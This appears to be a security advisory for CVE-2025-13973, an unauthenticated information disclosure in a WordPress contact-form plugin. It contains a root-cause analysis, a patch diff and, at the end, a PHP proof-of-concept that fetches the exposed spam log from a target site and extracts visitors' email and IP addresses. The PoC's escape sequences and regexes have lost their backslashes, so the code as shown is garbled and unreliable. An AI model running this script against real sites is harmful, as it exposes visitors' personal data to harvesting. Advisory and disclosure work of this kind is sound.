Atomic Edge analysis of CVE-2025-13973:
This vulnerability is an unauthenticated information disclosure in the StickEasy Protected Contact Form WordPress plugin. The plugin’s spam detection log file was stored at a predictable, publicly accessible location, allowing attackers to retrieve sensitive visitor data. The CVSS 5.3 score reflects the medium severity of this exposure.
Atomic Edge research identifies the root cause in the spcf_get_log_file_path() function within stickeasy-protected-contact-form.php. The original implementation (lines 148-161) created a log directory at wp-content/uploads/stickeasy-protected-contact-form/ and returned a hardcoded filename spcf-log.txt. The plugin stored this file in a web-accessible directory without access controls, making the complete path wp-content/uploads/stickeasy-protected-contact-form/spcf-log.txt predictable and retrievable via direct HTTP requests.
Exploitation requires no authentication or special tools. Attackers simply construct the predictable URL path by appending /wp-content/uploads/stickeasy-protected-contact-form/spcf-log.txt to the target WordPress site’s base URL. The log file contains visitor IP addresses, email addresses, and comment snippets from contact form submissions flagged as spam. No parameters or special headers are needed for successful retrieval.
The patch implements three security measures. First, it introduces the spcf_get_random_log_filename() function (lines 148-167) that generates a random 16-character filename (spcf-log-{random}.txt) stored in the plugin’s options. Second, it moves the log directory from wp-content/uploads/stickeasy-protected-contact-form/ to wp-content/spcf-logs/ (line 176). Third, it adds .htaccess and index.html files (lines 183-194) to prevent directory listing and block web access via Apache’s Deny from all directive. The uninstall function (lines 707-722) was also updated to recursively delete the entire log directory.
Successful exploitation exposes sensitive personal information including visitor IP addresses, email addresses, and partial message content from contact form submissions. While this does not enable remote code execution or privilege escalation, the exposed data could facilitate targeted phishing campaigns, identity correlation attacks, or reconnaissance for subsequent attacks. The information disclosure violates privacy expectations for website visitors who submitted contact forms.
--- a/stickeasy-protected-contact-form/stickeasy-protected-contact-form.php
+++ b/stickeasy-protected-contact-form/stickeasy-protected-contact-form.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: StickEasy Protected Contact Form
* Description: Just drop the shortcode on any page — your super simple, spam-protected contact form is ready!
- * Version: 1.0.1
+ * Version: 1.0.2
* Author: Kasuga
* License: GPLv2 or later
* Requires at least: 6.3
@@ -148,12 +148,33 @@
}
/**
- * Get the path to the log file (non-public directory).
+ * Generate a random log filename and store it in the database.
*
- * @return string Log file path.
+ * @return string Randomly generated or stored filename.
+ */
+function spcf_get_random_log_filename() {
+ $options = get_option( 'spcf_options', array() );
+
+ if ( ! empty( $options['log_filename'] ) ) {
+ return $options['log_filename'];
+ }
+
+ $random_name = 'spcf-log-' . wp_generate_password( 16, false ) . '.txt';
+
+ $options['log_filename'] = $random_name;
+ update_option( 'spcf_options', $options );
+
+ return $random_name;
+}
+
+/**
+ * Get the path to the log file and protect the directory.
+ *
+ * @return string Full path to the random log file.
*/
function spcf_get_log_file_path() {
$log_dir = WP_CONTENT_DIR . '/spcf-logs';
+ $log_filename = spcf_get_random_log_filename();
if ( spcf_init_filesystem() ) {
global $wp_filesystem;
@@ -161,11 +182,23 @@
if ( ! $wp_filesystem->is_dir( $log_dir ) ) {
$wp_filesystem->mkdir( $log_dir );
}
+
+ $htaccess_file = trailingslashit( $log_dir ) . '.htaccess';
+ if ( ! $wp_filesystem->exists( $htaccess_file ) ) {
+ $wp_filesystem->put_contents( $htaccess_file, "Deny from all", FS_CHMOD_FILE );
+ }
+
+ $index_file = trailingslashit( $log_dir ) . 'index.html';
+ if ( ! $wp_filesystem->exists( $index_file ) ) {
+ $wp_filesystem->put_contents( $index_file, '', FS_CHMOD_FILE );
+ }
} else {
wp_mkdir_p( $log_dir );
+ file_put_contents( trailingslashit( $log_dir ) . '.htaccess', "Deny from all" );
+ file_put_contents( trailingslashit( $log_dir ) . 'index.html', '' );
}
- return trailingslashit( $log_dir ) . 'spcf-log.txt';
+ return trailingslashit( $log_dir ) . $log_filename;
}
/**
@@ -674,17 +707,12 @@
delete_option( 'spcf_options' );
$log_dir = WP_CONTENT_DIR . '/spcf-logs';
- $logfile = trailingslashit( $log_dir ) . 'spcf-log.txt';
if ( spcf_init_filesystem() ) {
global $wp_filesystem;
-
- if ( $wp_filesystem->exists( $logfile ) ) {
- $wp_filesystem->delete( $logfile );
- }
-
+ // Recursively remove the log directory and all files within it.
if ( $wp_filesystem->is_dir( $log_dir ) ) {
$wp_filesystem->rmdir( $log_dir, true );
}
}
-}
+}
No newline at end of file
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13973 - StickEasy Protected Contact Form <= 1.0.1 - Unauthenticated Information Disclosure
<?php
$target_url = 'https://example.com'; // Change to target WordPress site
// Construct the predictable log file path
$log_path = '/wp-content/uploads/stickeasy-protected-contact-form/spcf-log.txt';
$full_url = rtrim($target_url, '/') . $log_path;
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge Research)');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check if the log file was retrieved
if ($http_code === 200 && !empty($response)) {
echo "[+] SUCCESS: Log file retrieved from $full_urlnn";
echo "=== LOG FILE CONTENTS ===n";
echo $response;
echo "n=== END OF FILE ===n";
// Extract and display sensitive information patterns
if (preg_match_all('/b[w.-]+@[w.-]+.w{2,}b/', $response, $emails)) {
echo "n[+] Found email addresses: " . implode(', ', array_unique($emails[0])) . "n";
}
if (preg_match_all('/b(?:[0-9]{1,3}.){3}[0-9]{1,3}b/', $response, $ips)) {
echo "[+] Found IP addresses: " . implode(', ', array_unique($ips[0])) . "n";
}
} else {
echo "[-] FAILED: Could not retrieve log file (HTTP $http_code)n";
echo "[-] The target may be patched or the plugin not installedn";
}
curl_close($ch);
?>